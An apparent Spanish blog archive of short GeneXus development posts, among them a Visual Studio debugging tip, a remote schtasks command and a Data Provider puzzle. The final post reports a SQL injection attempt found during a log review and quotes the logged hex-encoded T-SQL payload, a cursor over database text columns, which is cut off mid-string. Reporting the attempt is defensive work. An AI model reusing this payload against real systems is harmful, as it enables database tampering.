Entradas

Mostrando las entradas de agosto, 2013

Usar Visual Studio Express 2012 para desarrollar extensiones GeneXus

Imagen
Para quienes programamos poco en C#, es muy practico usar las versiones Express de Visual Studio que son gratuitas. Esta versión tiene la limitación que no permite hacer el debug de DLL, porque no tiene posibilidad de ejecutar programas externos para debug.  Dicha limitante, es solamente en la edición del proyecto y si se agregan las lineas en negrita al archivo de extensión .csproj ya se puede depurar dll. <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">     <StartAction>Program</StartAction>     <StartProgram>C:\Program Files (x86)\Artech\GeneXus\GeneXusXEv2Desa\GeneXus.exe</StartProgram>     <DebugSymbols>true</DebugSymbols> Esto es muy práctico para quienes desarrollamos extensiones GeneXus, pues permite levantar GeneXus mientras realizamos el debug de las dll. En versiones pagas de Visual Studio, esto se puede editar directamente desde la interfaz del producto.

La conectivdad aérea del Uruguay y los proyectos informáticos.

Imagen
Esta es una anécdota personal de hace unos cuantos años.  Habíamos conseguido un proyecto en Costa Rica que exigía que siempre hubiera al menos una persona de Concepto para dar apoyo y avance del proyecto.  Eramos unas 8 personas que nos turnábamos en los viajes y éstos eran de una semana en su mayoría.  La conectividad aérea del país hacia America Central, era bastante mala, a pesar que existían muchas compañías que viajaban hasta Montevideo.  Las que mas usábamos Varig, Pluna, United, American y varias mas.  Para llegar a San José en Costa Rica, teníamos que hacer Montevideo, San Pablo San Pablo, Miami Miami, San Jose.  Como era previo al 2001, pasar por Miami no era tan burocrático e incomodo como lo es ahora por los controles y las demoras, pero igual era un viaje larguísimo para poder llegar.  Lo bueno, era que rápidamente llegábamos a ser viajeros frecuentes con muchísimas millas y por lo tanto nos empezaron a pasar a las salas VIP y todas esas cos

PiensoPienso: Que devuelve este Data Provider?

Imagen
Tengo la tabla Ciudades *CiudadId         C(10)   Pobladores      N(10) Con los datos: CIUDAD1    1000 CIUDAD2    2000 CIUDAD3    3000 Y el Data Provider, que recibe como parametro &CiudadId Cual es la salida de este programa? 1) 1000      0 2) 1000      6000 3) 1000      3000 Es muy sencillo, pero tiene una pequeña trampa.

GeneXus Data Providers.

Imagen
Me encantan los Data Providers, pero no los entiendo. Me gustan porque son muy potentes y escribiendo poco se puede lograr muchísimo, pero muchas veces no hacen lo que yo quiero, son bastante desobedientes. Para poner un ejemplo, quiero hacer DP para mostrar Rankings de Ventas. Fue el ejemplo mas sencillo que se me ocurrió.  Quiero mostrar el total de lo vendido:   por Local por Zona  por Fecha.  Los DP van a devolver un SDT Ranking que tenga el total vendido por las diferentes dimensiones CASO 1: Ranking por Local  Hice un Data Provider con la sintaxis:   y esto devuelve lo vendido por cada uno de los locales y todo muy sencillo.  Hice un Webpanel, que permite seleccionar el Data Provider y muestra en SDT en una grilla y también pasa dicho SDT a XML para que sea fácil ver los datos crudos.  Hasta acá, todo correcto y según lo esperado. Ahora, quiero que me devuelva el SDT ordenado por lo la suma de lo vendido , pero aca empieza a c

GeneXus Server: Wish list.

Imagen
GeneXus Server , es la herramienta desarrollada por Artech, para el trabajo en grupo con GeneXus. Hoy es como un respositorio centralizado de una KB, donde los desarrolladores del grupo de trabajo suben  los cambios que han programado (operación commit) y actualizan lo que los demás han cambiado (operación update). Desde que migramos a la versión X, estamos usando dicha herramienta y es un cambio grande en la forma de trabajo que teníamos con versiones anteriores de GeneXus, pues mejora muchísimo el ciclo de consolidación de los cambios. Luego de usarlo por un tiempo, hemos ido acumulando algunos cambios que paso a listar aquí: 1) Traer objetos desde otra KB que esta en GeneXus Server. Seria muy practico, poder seleccionar algunos objetos desde la interfaz WEB y poder generar un archivo de export. Por ejemplo, veo una KB en GXServer en su interfaz WEB. que tiene algo que me interesa (por ejemplo una trasacción y algunos dominios)  y quiero incorporarla a mi KB local.  Para l

Ejectuar tareas agendadas en otro servidor.

Imagen
Tenia que realizar una tarea sencilla: Desde un servidor WEB, se quería ejecutar un proceso en otro servidor, como indica el esquema La aplicación WEB está desarrollada con GeneXus y el servidor de aplicaciones es un servidor windows y tiene la tarea schedulada para correr una vez por dia. Lo que se quiere es que el usuario pueda ejecutar la tarea cada vez que lo desee. Para lograrlo, se puede usar el el comando schtasks.exe /run /S servidor_aplicaciones /TN Tarea1 y ejecutarlo con el comando shell(). El usuario necesita algún permiso especial para poder ejecutarlo, pero es algo que se puede solucionar fácilmente. Me pareció una solución sencilla para ejecutar algo a demanda (cuando el usuario lo quiera) y tambien cada un determinado periodo.

Intento de SQL Injection.

Imagen
En una revisión rutinaria de los logs de un servidor web, encontramos la entrada: 2013-07-25 15:25:52 17.172.13.1 GET /petroglifo/hwnbuspa.aspx 1+declare+@s+varchar(8000)+ set+@s=cast( 0x73657420616e73695f7761726e69 6e6773206f6666204445434c415245 204054205641524348415228323535 292c40432056415243484152283235 3529204445434c415245205461626c 655f437572736f7220435552534f52 20464f522073656c65637420632e54 41424c455f4e414d452c632e434f4c 554d4e5f4e414d452066726f6d2049 4e464f524d4154494f4e5f53434845 4d412e636f6c756d6e7320632c2049 4e464f524d4154494f4e5f53434845 4d412e7461626c6573207420776865 726520632e444154415f5459504520 696e2028276e76617263686172272c 2776617263686172272c276e746578 74272c2774657874272920616e6420 632e4348415241435445525f4d4158 494d554d5f4c454e4754483e313020 616e6420742e7461626c655f6e616d 653d632e7461626c655f6e616d6520 616e6420742e7461626c655f747970 653d2742415345205441424c452720 4f50454e205461626c655f43757273 6f72204645544348204e4558542046 524f4d205461626c655f437572736f 7220